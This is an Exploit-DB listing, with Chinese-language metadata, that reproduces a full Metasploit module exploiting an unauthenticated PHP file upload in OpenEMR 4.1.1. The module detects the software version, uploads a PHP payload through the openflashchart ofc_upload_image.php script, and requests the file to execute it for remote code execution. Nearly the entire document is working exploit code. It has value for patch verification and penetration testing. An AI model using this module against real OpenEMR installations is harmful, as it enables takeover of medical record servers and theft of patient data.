标题: OpenEMR - Arbitrary '.PHP' File Upload (Metasploit) EDB-ID: 24529 CVE: 2011-4275 2009-4140 类型: REMOTE 平台: PHP 发布日期: 2013-02-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info={})
  super(update_info(info,
   'Name'           => "OpenEMR PHP File Upload Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
    ofc_upload_image.php file from the openflashchart library, a malicious user can
    upload a file to the tmp-upload-images directory without any authentication, which
    results in arbitrary code execution. The module has been tested successfully on
    OpenEMR 4.1.1 over Ubuntu 10.04.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'OSVDB', '90222' ],
     [ 'BID', '37314' ],
     [ 'EBD', '24492' ],
     [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
     [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
    ],
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['OpenEMR 4.1.1', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Feb 13 2013",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
    ], self.class)
 end

 def check
  uri = target_uri.path
  peer = "#{rhost}:#{rport}"

  # Check version
  print_status("#{peer} - Trying to detect installed version")

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => normalize_uri(uri, "interface", "login", "login.php")
  })

  if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
   version = $1
  else
   return Exploit::CheckCode::Unknown
  end

  print_status("#{peer} - Version #{version} detected")

  if version > "4.1.1"
   return Exploit::CheckCode::Safe
  end

  # Check for vulnerable component
  print_status("#{peer} - Trying to detect the vulnerable component")

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
  })

  if res and res.code == 200 and res.body =~ /Saving your image to/
   return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  uri = target_uri.path

  peer = "#{rhost}:#{rport}"
  payload_name = rand_text_alpha(rand(10) + 5) + '.php'
  my_payload = payload.encoded

  print_status("#{peer} - Sending PHP payload (#{payload_name})")
  res = send_request_raw({
   'method'  => 'POST',
   'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
   'headers' => { "Content-Length" => my_payload.length.to_s },
   'data'    => my_payload
  })

  # If the server returns 200 and the body contains our payload name,
  # we assume we uploaded the malicious file successfully
  if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
   fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
  end

  register_file_for_cleanup(payload_name)

  print_status("#{peer} - Executing PHP payload (#{payload_name})")
  # Execute our payload
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
  })

  # If we don't get a 200 when we request our malicious payload, we suspect
  # we don't have a shell, either.  Print the status code for debugging purposes.
  if res and res.code != 200
   print_error("#{peer} - Server returned #{res.code.to_s}")
  end
 end

end URL: https://www.exploit-db.com/exploits/24529